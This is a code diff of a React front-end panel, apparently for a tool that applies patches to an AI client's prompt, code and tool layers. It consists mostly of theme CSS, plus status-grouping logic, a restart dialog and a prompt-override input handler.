body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-field,body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-area{background:color-mix(in srgb,#0a0908 84%,transparent)!important;color:#f7f4ee!important;border-color:color-mix(in srgb,#fff 24%,transparent)!important;backdrop-filter:blur(12px)!important;-webkit-backdrop-filter:blur(12px)!important;color-scheme:dark}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-title,body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-sub h4,body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-group-h strong,body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-metric b,body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-btn,body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-rule-name{color:#f7f4ee!important;text-shadow:0 1px 2px rgba(0,0,0,.55)}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-mute,body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-kicker,body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-metric span,body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-group-h em,body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-count,body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-rule-meta,body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-hint{color:#e6dfd2!important}
|
||||
body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-switch button.is-on{background:color-mix(in srgb,#3a433d 78%,transparent);color:#f7f4ee}
|
||||
.dshp-dock-body .rt-tab{border-radius:0;border-bottom:2px solid transparent;margin-bottom:-1px;padding:8px 9px 7px;background:transparent;font-size:14px}
|
||||
.dshp-dock-body .rt-tab.on{border-bottom-color:var(--dsw-alias-brand-primary,#6d8f78);background:transparent;font-weight:650}
|
||||
.dshp-dock-body .rt-row:hover,.dshp-dock-body .rt-item:hover,.dshp-dock-body .rt-item.on,.dshp-dock-body .rt-seg:hover,.dshp-dock-body .rt-seg.on,.dshp-dock-body .rt-vrow:hover,.dshp-dock-body .rt-score-row:hover{background:var(--rt-surf-2)!important}
|
||||
body:not([data-ds-dark-theme]) .dshp-auth-modal{background:color-mix(in srgb,var(--dsw-alias-bg-layer-1,#fffcf7) 92%,transparent);color:var(--dsw-alias-label-primary,#1a1916);border-color:color-mix(in srgb,var(--dsw-alias-border-l1,#c9c3b6) 80%,transparent);backdrop-filter:blur(18px) saturate(1.3);-webkit-backdrop-filter:blur(18px) saturate(1.3)}
|
||||
body:not([data-ds-dark-theme]) .dshp-auth-legal{background:color-mix(in srgb,var(--dsw-alias-bg-layer-2,#f3f0e8) 90%,transparent);color:var(--dsw-alias-label-primary,#1a1916);border-color:color-mix(in srgb,var(--dsw-alias-border-l1,#c9c3b6) 80%,transparent)}
|
||||
body:not([data-ds-dark-theme]) .dshp-auth-warn{background:color-mix(in srgb,#f5e6c8 88%,transparent);color:#6b4a10}
|
||||
body:not([data-ds-dark-theme]) .dshp-auth-ops button{border-color:var(--dsw-alias-border-l1,#c9c3b6);color:var(--dsw-alias-label-primary,#1a1916);background:color-mix(in srgb,var(--dsw-alias-bg-layer-1,#fff) 88%,transparent)}
|
||||
body:not([data-ds-dark-theme]) .dshp-auth-ops button.primary{background:var(--dsw-alias-brand-primary,#3f6b52);border-color:var(--dsw-alias-brand-primary,#3f6b52);color:#fff}
|
||||
.dshp-dock-resize,.dshp-dock-resize-l,.dshp-dock-resize-r,.dshp-dock-resize-b{position:absolute;z-index:60;pointer-events:auto;touch-action:none}
|
||||
.dshp-dock-resize{right:0;bottom:0;width:22px;height:22px;cursor:nwse-resize;background:linear-gradient(135deg,transparent 46%,color-mix(in srgb,var(--dsw-alias-brand-primary,#6dbf8c) 75%,transparent) 46%);border-radius:0 0 12px 0;opacity:.95}
|
||||
.dshp-dock-resize-l{left:-2px;top:0;bottom:0;width:10px;cursor:ew-resize;background:color-mix(in srgb,var(--dsw-alias-brand-primary,#6dbf8c) 18%,transparent)}
|
||||
@@ -966,23 +948,27 @@ body .dshp-dock:has(.dshp-root[data-theme="dusk"]) .dshp-dock-body .dshp-switch
|
||||
.dshp-tab-btn:hover{color:var(--dsw-alias-label-primary,currentColor)}
|
||||
.dshp-tab-btn.on{color:var(--dsw-alias-brand-primary,#6dbf8c)}
|
||||
.dshp-tab-btn.on:after{content:"";position:absolute;left:0;right:0;bottom:-1px;height:2px;border-radius:2px;background:var(--dsw-alias-brand-primary,#6dbf8c)}
|
||||
/* 玻璃:低透明度 + 冷色偏色 + 高光边,背后的界面要能透出来。清洗和演练台共用 dock 上的主题。 */
|
||||
.dshp-dock{font-family:"Segoe UI","Microsoft YaHei UI","Microsoft YaHei","PingFang SC",system-ui,sans-serif}
|
||||
.dshp-dock[data-theme="dusk"]{background:linear-gradient(165deg,rgba(255,255,255,.22),rgba(120,160,220,.10) 42%,rgba(20,28,48,.18))!important;backdrop-filter:blur(28px) saturate(1.7)!important;-webkit-backdrop-filter:blur(28px) saturate(1.7)!important;color:#f7f4ee!important;border:1px solid rgba(255,255,255,.42)!important;box-shadow:inset 0 1px 0 rgba(255,255,255,.55),0 20px 50px rgba(0,0,0,.28)!important}
|
||||
.dshp-dock[data-theme="white"]{background:linear-gradient(165deg,rgba(255,255,255,.62),rgba(186,214,255,.28) 48%,rgba(255,255,255,.16))!important;backdrop-filter:blur(28px) saturate(1.6)!important;-webkit-backdrop-filter:blur(28px) saturate(1.6)!important;color:#16140f!important;border:1px solid rgba(255,255,255,.78)!important;box-shadow:inset 0 1px 0 rgba(255,255,255,.9),0 18px 40px rgba(40,50,70,.16)!important}
|
||||
.dshp-dock[data-theme="dusk"] .dshp-dock-head,.dshp-dock[data-theme="dusk"] .dshp-dock-tabs,.dshp-dock[data-theme="white"] .dshp-dock-head,.dshp-dock[data-theme="white"] .dshp-dock-tabs{background:transparent!important}
|
||||
.dshp-dock[data-theme="dusk"] .dshp-dock-head,.dshp-dock[data-theme="dusk"] .dshp-dock-head b,.dshp-dock[data-theme="dusk"] .dshp-dock-head button,.dshp-dock[data-theme="dusk"] .dshp-dock-tab,.dshp-dock[data-theme="dusk"] .dshp-dock-tab.on{color:#f7f4ee!important;text-shadow:none!important;font-weight:600}
|
||||
.dshp-dock[data-theme="white"] .dshp-dock-head,.dshp-dock[data-theme="white"] .dshp-dock-head b,.dshp-dock[data-theme="white"] .dshp-dock-head button,.dshp-dock[data-theme="white"] .dshp-dock-tab,.dshp-dock[data-theme="white"] .dshp-dock-tab.on{color:#16140f!important;text-shadow:none!important;font-weight:600}
|
||||
.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-dock{font-size:14px!important;line-height:1.6!important;font-weight:500!important;color:#f7f4ee!important;--rt-ink:#f7f4ee;--rt-mute:#efe8dc;--rt-surf:color-mix(in srgb,#1e1c19 46%,transparent);--rt-surf-2:color-mix(in srgb,#2c2925 58%,transparent);--rt-line:color-mix(in srgb,#fff 22%,transparent)}
|
||||
.dshp-dock[data-theme="white"] .dshp-dock-body .rt-dock{font-size:14px!important;line-height:1.6!important;font-weight:500!important;color:#16140f!important;--rt-ink:#16140f;--rt-mute:#2c261f;--rt-surf:color-mix(in srgb,#fffdf8 52%,transparent);--rt-surf-2:color-mix(in srgb,#fff 64%,transparent);--rt-line:color-mix(in srgb,#2a241c 22%,transparent)}
|
||||
.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-title,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-tab,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-tab.on,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-card,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-card h4,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-row,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-vrow,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-kv,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-kv b,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-kv span,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-mono,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-empty,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-foot,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-tag,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-item,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-item-name,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-item-desc,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-sec-sub,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-kb-sub,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-seg-cidr,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-seg-meta,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-section,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-note,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-hint{color:#f3eee6!important;text-shadow:none!important;opacity:1!important}
|
||||
.dshp-dock[data-theme="white"] .dshp-dock-body .rt-title,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-tab,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-tab.on,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-card h4,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-row,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-vrow,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-kv,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-kv b,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-kv span,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-mono,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-empty,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-foot,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-tag,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-item,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-item-name,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-item-desc,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-sec-sub,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-kb-sub,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-seg-cidr,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-seg-meta,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-section,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-note,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-hint{color:#1a1612!important;text-shadow:none!important;opacity:1!important}
|
||||
body .dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-card,body .dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-pane,body .dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-side,body .dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-table,body .dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-toolbar,body .dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-embedded>.rt-head,body .dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-tabs,body .dshp-dock[data-theme="dusk"] .dshp-dock-body .dshp-root .dshp-panel,body .dshp-dock[data-theme="dusk"] .dshp-dock-body .dshp-root .dshp-metric,body .dshp-dock[data-theme="dusk"] .dshp-dock-body .dshp-root .dshp-group,body .dshp-dock[data-theme="dusk"] .dshp-dock-body .dshp-root .dshp-editor,body .dshp-dock[data-theme="dusk"] .dshp-dock-body .dshp-root .dshp-rulelist,body .dshp-dock[data-theme="dusk"] .dshp-dock-body .dshp-root .dshp-active{background:rgba(255,255,255,.08)!important;border-color:rgba(255,255,255,.28)!important;backdrop-filter:blur(18px) saturate(1.4)!important;-webkit-backdrop-filter:blur(18px) saturate(1.4)!important;box-shadow:inset 0 1px 0 rgba(255,255,255,.22)!important;color:#f7f4ee!important}
|
||||
body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-pane,body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-side,body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-table,body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-toolbar,body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-embedded>.rt-head,body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-tabs,body .dshp-dock[data-theme="white"] .dshp-dock-body .dshp-root .dshp-panel,body .dshp-dock[data-theme="white"] .dshp-dock-body .dshp-root .dshp-metric,body .dshp-dock[data-theme="white"] .dshp-dock-body .dshp-root .dshp-group,body .dshp-dock[data-theme="white"] .dshp-dock-body .dshp-root .dshp-editor,body .dshp-dock[data-theme="white"] .dshp-dock-body .dshp-root .dshp-rulelist,body .dshp-dock[data-theme="white"] .dshp-dock-body .dshp-root .dshp-active{background:rgba(255,255,255,.28)!important;border-color:rgba(255,255,255,.72)!important;backdrop-filter:blur(18px) saturate(1.4)!important;-webkit-backdrop-filter:blur(18px) saturate(1.4)!important;box-shadow:inset 0 1px 0 rgba(255,255,255,.85)!important;color:#16140f!important}
|
||||
.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-btn,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-input,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-eng-select,.dshp-dock[data-theme="dusk"] .dshp-dock-body textarea,.dshp-dock[data-theme="dusk"] .dshp-field,.dshp-dock[data-theme="dusk"] .dshp-area{background:rgba(12,16,28,.35)!important;color:#f7f4ee!important;border-color:rgba(255,255,255,.32)!important}
|
||||
.dshp-dock[data-theme="white"] .dshp-dock-body .rt-btn,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-input,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-eng-select,.dshp-dock[data-theme="white"] .dshp-dock-body textarea,.dshp-dock[data-theme="white"] .dshp-field,.dshp-dock[data-theme="white"] .dshp-area{background:rgba(255,255,255,.45)!important;color:#16140f!important;border-color:rgba(255,255,255,.8)!important}
|
||||
.dshp-dock[data-theme="dusk"] .dshp-dock-body .dshp-title,.dshp-dock[data-theme="dusk"] .dshp-dock-body .dshp-rule-name,.dshp-dock[data-theme="dusk"] .dshp-dock-body .dshp-metric b,.dshp-dock[data-theme="dusk"] .dshp-dock-body .dshp-btn,.dshp-dock[data-theme="dusk"] .dshp-dock-body .dshp-field,.dshp-dock[data-theme="dusk"] .dshp-dock-body .dshp-area,.dshp-dock[data-theme="dusk"] .dshp-dock-body .dshp-mute,.dshp-dock[data-theme="dusk"] .dshp-dock-body .dshp-hint{color:#f7f4ee!important;text-shadow:none!important}
|
||||
.dshp-dock[data-theme="white"] .dshp-dock-body .dshp-title,.dshp-dock[data-theme="white"] .dshp-dock-body .dshp-rule-name,.dshp-dock[data-theme="white"] .dshp-dock-body .dshp-metric b,.dshp-dock[data-theme="white"] .dshp-dock-body .dshp-btn,.dshp-dock[data-theme="white"] .dshp-dock-body .dshp-field,.dshp-dock[data-theme="white"] .dshp-dock-body .dshp-area,.dshp-dock[data-theme="white"] .dshp-dock-body .dshp-mute,.dshp-dock[data-theme="white"] .dshp-dock-body .dshp-hint{color:#16140f!important;text-shadow:none!important}
|
||||
/* 玻璃跟随宿主颜色。字重和底的不透明度分开:壳透,字坐在更实的一层上。 */
|
||||
.dshp-dock{font-family:"Segoe UI","Microsoft YaHei UI","PingFang SC","Noto Sans SC",system-ui,sans-serif;font-size:14px;line-height:1.6;font-weight:500;-webkit-font-smoothing:antialiased;text-shadow:none}
|
||||
.dshp-dock[data-theme="white"],.dshp-dock[data-theme="dusk"]{background:linear-gradient(165deg,color-mix(in srgb,var(--dsw-alias-bg-layer-1,#fff) 50%,transparent),color-mix(in srgb,var(--dsw-alias-brand-primary,#6d8f78) 18%,transparent) 46%,color-mix(in srgb,var(--dsw-alias-bg-layer-2,#fff) 28%,transparent))!important;backdrop-filter:blur(26px) saturate(1.45)!important;-webkit-backdrop-filter:blur(26px) saturate(1.45)!important;color:var(--dshp-ink)!important;border:1px solid color-mix(in srgb,var(--dsw-alias-brand-primary,#6d8f78) 36%,transparent)!important;box-shadow:inset 0 1px 0 color-mix(in srgb,#fff 42%,transparent),0 18px 44px color-mix(in srgb,#000 18%,transparent)!important}
|
||||
.dshp-dock[data-theme="dusk"]{--dshp-ink:var(--dsw-alias-label-primary,#f4f1ea);--dshp-mute:color-mix(in srgb,var(--dsw-alias-label-primary,#f4f1ea) 84%,var(--dsw-alias-label-secondary,#c9c3b8))}
|
||||
.dshp-dock[data-theme="white"]{--dshp-ink:var(--dsw-alias-label-primary,#16140f);--dshp-mute:color-mix(in srgb,var(--dsw-alias-label-primary,#16140f) 76%,var(--dsw-alias-label-secondary,#3c362e))}
|
||||
.dshp-dock .dshp-dock-head,.dshp-dock .dshp-dock-tabs{background:color-mix(in srgb,var(--dsw-alias-bg-layer-1,transparent) 28%,transparent)!important;color:var(--dshp-ink)!important}
|
||||
.dshp-dock .dshp-dock-head,.dshp-dock .dshp-dock-head b,.dshp-dock .dshp-dock-head button,.dshp-dock .dshp-dock-tab,.dshp-dock .dshp-dock-tab.on{color:var(--dshp-ink)!important;text-shadow:none!important;font-weight:600}
|
||||
.dshp-dock .dshp-dock-tab{font-size:14px}
|
||||
.dshp-dock .dshp-dock-tab.on{border-bottom-color:var(--dsw-alias-brand-primary,#6d8f78)!important}
|
||||
.dshp-dock-body .rt-dock{font-size:14px!important;line-height:1.6!important;font-weight:500!important;color:var(--dshp-ink)!important;--rt-ink:var(--dshp-ink);--rt-mute:var(--dshp-mute);--rt-surf:color-mix(in srgb,var(--dsw-alias-bg-layer-2,var(--dsw-alias-bg-layer-1,#fff)) 40%,transparent);--rt-surf-2:color-mix(in srgb,var(--dsw-alias-bg-layer-1,#fff) 62%,transparent);--rt-line:color-mix(in srgb,var(--dsw-alias-brand-primary,#6d8f78) 30%,transparent)}
|
||||
.dshp-dock-body .rt-title,.dshp-dock-body .rt-tab,.dshp-dock-body .rt-tab.on,.dshp-dock-body .rt-card,.dshp-dock-body .rt-card h4,.dshp-dock-body .rt-row,.dshp-dock-body .rt-vrow,.dshp-dock-body .rt-kv,.dshp-dock-body .rt-kv b,.dshp-dock-body .rt-kv span,.dshp-dock-body .rt-mono,.dshp-dock-body .rt-empty,.dshp-dock-body .rt-foot,.dshp-dock-body .rt-tag,.dshp-dock-body .rt-item,.dshp-dock-body .rt-item-name,.dshp-dock-body .rt-item-desc,.dshp-dock-body .rt-sec-sub,.dshp-dock-body .rt-kb-sub,.dshp-dock-body .rt-seg-cidr,.dshp-dock-body .rt-seg-meta,.dshp-dock-body .rt-section,.dshp-dock-body .rt-note,.dshp-dock-body .rt-hint{color:var(--dshp-ink)!important;text-shadow:none!important;opacity:1!important}
|
||||
.dshp-dock-body .rt-tab,.dshp-dock-body .rt-foot,.dshp-dock-body .rt-empty,.dshp-dock-body .rt-item-desc,.dshp-dock-body .rt-kb-sub,.dshp-dock-body .rt-kv span,.dshp-dock-body .rt-tag,.dshp-dock-body .rt-sec-sub{color:var(--dshp-mute)!important}
|
||||
.dshp-dock-body .rt-card,.dshp-dock-body .rt-pane,.dshp-dock-body .rt-side,.dshp-dock-body .rt-table,.dshp-dock-body .rt-toolbar,.dshp-dock-body .rt-embedded>.rt-head,.dshp-dock-body .rt-tabs{background:color-mix(in srgb,var(--dsw-alias-bg-layer-1,#fff) 72%,transparent)!important;border-color:color-mix(in srgb,var(--dsw-alias-brand-primary,#6d8f78) 28%,transparent)!important;color:var(--dshp-ink)!important;box-shadow:inset 0 1px 0 color-mix(in srgb,#fff 26%,transparent)!important;backdrop-filter:blur(16px) saturate(1.3);-webkit-backdrop-filter:blur(16px) saturate(1.3)}
|
||||
.dshp-dock-body .rt-btn,.dshp-dock-body .rt-input,.dshp-dock-body .rt-eng-select,.dshp-dock-body textarea.rt-input{background:color-mix(in srgb,var(--dsw-alias-bg-layer-1,#fff) 90%,transparent)!important;color:var(--dshp-ink)!important;border-color:color-mix(in srgb,var(--dsw-alias-border-l1,#888) 70%,transparent)!important}
|
||||
.dshp-dock-body .rt-btn-primary{background:var(--dsw-alias-brand-primary,#3f6b52)!important;border-color:var(--dsw-alias-brand-primary,#3f6b52)!important;color:#fff!important}
|
||||
.dshp-dock[data-theme="white"] .dshp-dock-body .rt-eng-select option,.dshp-dock[data-theme="white"] .dshp-dock-body .rt-input option{background:#fff;color:#16140f}
|
||||
.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-eng-select option,.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-input option{background:#1b1d22;color:#f4f1ea}
|
||||
.dshp-dock-body .rt-err{font-weight:650}
|
||||
.dshp-dock[data-theme="white"] .dshp-dock-body .rt-err{color:#9a3434!important}
|
||||
.dshp-dock[data-theme="dusk"] .dshp-dock-body .rt-err{color:#f0b4b4!important}
|
||||
.dshp-dock-body .rt-rep-http,.dshp-dock-body pre{background:color-mix(in srgb,var(--dsw-alias-bg-layer-1,#fff) 84%,transparent)!important;color:var(--dshp-ink)!important;border:1px solid color-mix(in srgb,var(--dsw-alias-border-l1,#888) 60%,transparent)!important}
|
||||
`;
|
||||
|
||||
function formatSize(bytes) {
|
||||
@@ -995,6 +981,7 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
function statusKind(st) {
|
||||
if (st === "applied" || st === "already") return "ok";
|
||||
if (st === "pending") return "wait";
|
||||
if (st === "unmatched") return "bad";
|
||||
if (st === "na") return "ok";
|
||||
if (st === "missing_file" || st === "skipped" || st === "unlocated") return "miss";
|
||||
return "bad";
|
||||
@@ -1003,6 +990,7 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
function statusLabel(st, t) {
|
||||
if (st === "applied" || st === "already") return t("status.applied");
|
||||
if (st === "pending") return t("status.pending");
|
||||
if (st === "unmatched") return t("status.unmatched");
|
||||
if (st === "skipped") return t("status.skipped");
|
||||
if (st === "missing_file") return t("skip");
|
||||
if (st === "unlocated") return t("status.unlocated");
|
||||
@@ -1010,15 +998,10 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
return st || t("unknown");
|
||||
}
|
||||
|
||||
function statusApplied(st) {
|
||||
// 与后端 soft-ok 对齐:跳过 / 缺文件也算就绪,避免 48/63 这种假未完成。
|
||||
return st === "applied" || st === "already" || st === "skipped" || st === "missing_file";
|
||||
}
|
||||
|
||||
function shimKind(v) {
|
||||
if (v === "patched") return "ok";
|
||||
if (v === "patched" || v === "n/a") return "ok";
|
||||
if (v === "original") return "wait";
|
||||
if (v === "missing" || v === "n/a" || !v) return "miss";
|
||||
if (v === "missing" || !v) return "miss";
|
||||
return "bad";
|
||||
}
|
||||
|
||||
@@ -1038,31 +1021,74 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
return h("span", { className: "dshp-pill is-" + statusKind(value) }, label || statusLabel(value, t));
|
||||
}
|
||||
|
||||
const LAYER_GROUP = {
|
||||
"提示词": "prompt",
|
||||
"代码": "code",
|
||||
"工具": "tools",
|
||||
"0.1.5 兼容": "compat",
|
||||
"0.2.0 兼容": "dsh20",
|
||||
};
|
||||
const GROUP_ORDER = ["prompt", "code", "tools", "compat", "dsh20"];
|
||||
|
||||
function patchRowsOf(state) {
|
||||
if (!state || !state.ai_base) return [];
|
||||
const fromList = Array.isArray(state.patches) ? state.patches : null;
|
||||
const rows = fromList
|
||||
? fromList.map((p) => ({
|
||||
id: Number(p.id),
|
||||
st: p.status || "missing_file",
|
||||
layer: p.layer || "",
|
||||
}))
|
||||
: Object.keys(state.patch_status || {}).map((id) => ({
|
||||
id: Number(id),
|
||||
st: state.patch_status[id],
|
||||
layer: "",
|
||||
}));
|
||||
return rows.filter((r) => r.st && r.st !== "na" && Number.isFinite(r.id));
|
||||
}
|
||||
|
||||
function tallyPatches(rows) {
|
||||
const out = { applied: 0, pending: 0, unmatched: 0, skipped: 0, total: 0 };
|
||||
for (const row of rows || []) {
|
||||
out.total += 1;
|
||||
if (row.st === "applied" || row.st === "already") out.applied += 1;
|
||||
else if (row.st === "pending") out.pending += 1;
|
||||
else if (row.st === "unmatched") out.unmatched += 1;
|
||||
else out.skipped += 1;
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
function PatchGroups({ state }) {
|
||||
const t = useT();
|
||||
const [open, setOpen] = useState({});
|
||||
if (!state || !state.patch_status) return h("div", { className: "dshp-skel", style: { height: 120 } });
|
||||
const located = !!state.ai_base;
|
||||
if (!located) return null;
|
||||
return PATCH_GROUPS.map((group) => {
|
||||
const rows = group.ids.map((id) => {
|
||||
const raw = located
|
||||
? (state.patch_status[id] || state.patch_status[String(id)] || "missing_file")
|
||||
: "unlocated";
|
||||
return { id, st: raw, label: t("patch." + id) };
|
||||
}).filter((r) => r.st !== "na");
|
||||
const grouped = new Map();
|
||||
for (const row of patchRowsOf(state)) {
|
||||
const key = LAYER_GROUP[row.layer] || "code";
|
||||
if (!grouped.has(key)) grouped.set(key, []);
|
||||
grouped.get(key).push(row);
|
||||
}
|
||||
return GROUP_ORDER.filter((key) => grouped.has(key)).map((key) => {
|
||||
const rows = grouped.get(key).slice().sort((a, b) => a.id - b.id);
|
||||
if (!rows.length) return null;
|
||||
const done = rows.filter((r) => statusApplied(r.st)).length;
|
||||
const expanded = !!open[group.key];
|
||||
return h("div", { key: group.key, className: "dshp-group" },
|
||||
const tally = tallyPatches(rows);
|
||||
const notes = [];
|
||||
if (tally.pending) notes.push(t("metric.pendingShort", { n: tally.pending }));
|
||||
if (tally.unmatched) notes.push(t("metric.unmatchedShort", { n: tally.unmatched }));
|
||||
if (tally.skipped) notes.push(t("metric.skipShort", { n: tally.skipped }));
|
||||
const expanded = !!open[key];
|
||||
return h("div", { key: key, className: "dshp-group" },
|
||||
h("button", {
|
||||
type: "button",
|
||||
className: "dshp-group-h",
|
||||
"aria-expanded": expanded ? "true" : "false",
|
||||
onClick: () => setOpen((prev) => Object.assign({}, prev, { [group.key]: !prev[group.key] })),
|
||||
onClick: () => setOpen((prev) => Object.assign({}, prev, { [key]: !prev[key] })),
|
||||
},
|
||||
h("strong", null, t("group." + group.key)),
|
||||
h("span", { className: "dshp-count" }, done + "/" + rows.length),
|
||||
h("strong", null, t("group." + key)),
|
||||
h("span", { className: "dshp-count" }, tally.applied + "/" + tally.total + (notes.length ? " · " + notes.join(" · ") : "")),
|
||||
),
|
||||
expanded ? h("table", { className: "dshp-table" },
|
||||
h("thead", null, h("tr", null,
|
||||
@@ -1072,7 +1098,7 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
)),
|
||||
h("tbody", null, rows.map((r) => h("tr", { key: r.id },
|
||||
h("td", { className: "dshp-id" }, "#" + r.id),
|
||||
h("td", null, r.label),
|
||||
h("td", null, t("patch." + r.id)),
|
||||
h("td", null, h(Pill, { value: r.st })),
|
||||
))),
|
||||
) : null,
|
||||
@@ -1182,6 +1208,33 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
);
|
||||
}
|
||||
|
||||
function RestartAsk(props) {
|
||||
const node = h("div", {
|
||||
className: "dshp-restart-mask",
|
||||
"data-theme": props.theme === "dusk" ? "dusk" : "white",
|
||||
role: "dialog",
|
||||
"aria-modal": "true",
|
||||
"aria-labelledby": "dshp-restart-title",
|
||||
onClick: (e) => { if (e.target === e.currentTarget && props.onLater) props.onLater(); },
|
||||
},
|
||||
h("div", { className: "dshp-restart-card" },
|
||||
h("h4", { id: "dshp-restart-title" }, props.t("restart.ask.title")),
|
||||
h("p", null, props.t("restart.ask.body")),
|
||||
h("div", { className: "dshp-modal-ops" },
|
||||
h(Btn, { onClick: props.onLater }, props.t("restart.notNow")),
|
||||
h(Btn, { kind: "primary", onClick: props.onRestart }, props.t("restart.now")),
|
||||
),
|
||||
),
|
||||
);
|
||||
try {
|
||||
const rd = require("react-dom");
|
||||
if (rd && typeof rd.createPortal === "function" && typeof document !== "undefined" && document.body) {
|
||||
return rd.createPortal(node, document.body);
|
||||
}
|
||||
} catch { /* host 可能没暴露 react-dom */ }
|
||||
return node;
|
||||
}
|
||||
|
||||
function PurgifySection() {
|
||||
const t = useT();
|
||||
const tRef = useRef(t);
|
||||
@@ -1208,9 +1261,17 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
const actionTicket = useRef(0);
|
||||
const overrideRef = useRef("");
|
||||
const defaultOverrideRef = useRef("");
|
||||
const promptAreaRef = useRef(null);
|
||||
overrideRef.current = override;
|
||||
defaultOverrideRef.current = defaultOverride;
|
||||
|
||||
const readPromptBox = () => {
|
||||
const node = promptAreaRef.current;
|
||||
const live = node && typeof node.value === "string" ? node.value : overrideRef.current;
|
||||
overrideRef.current = live || "";
|
||||
return overrideRef.current;
|
||||
};
|
||||
|
||||
const syncPicks = (d) => {
|
||||
const versions = (d && d.versions) || [];
|
||||
const ceiling = listedCeiling(versions, d && d.localVersion);
|
||||
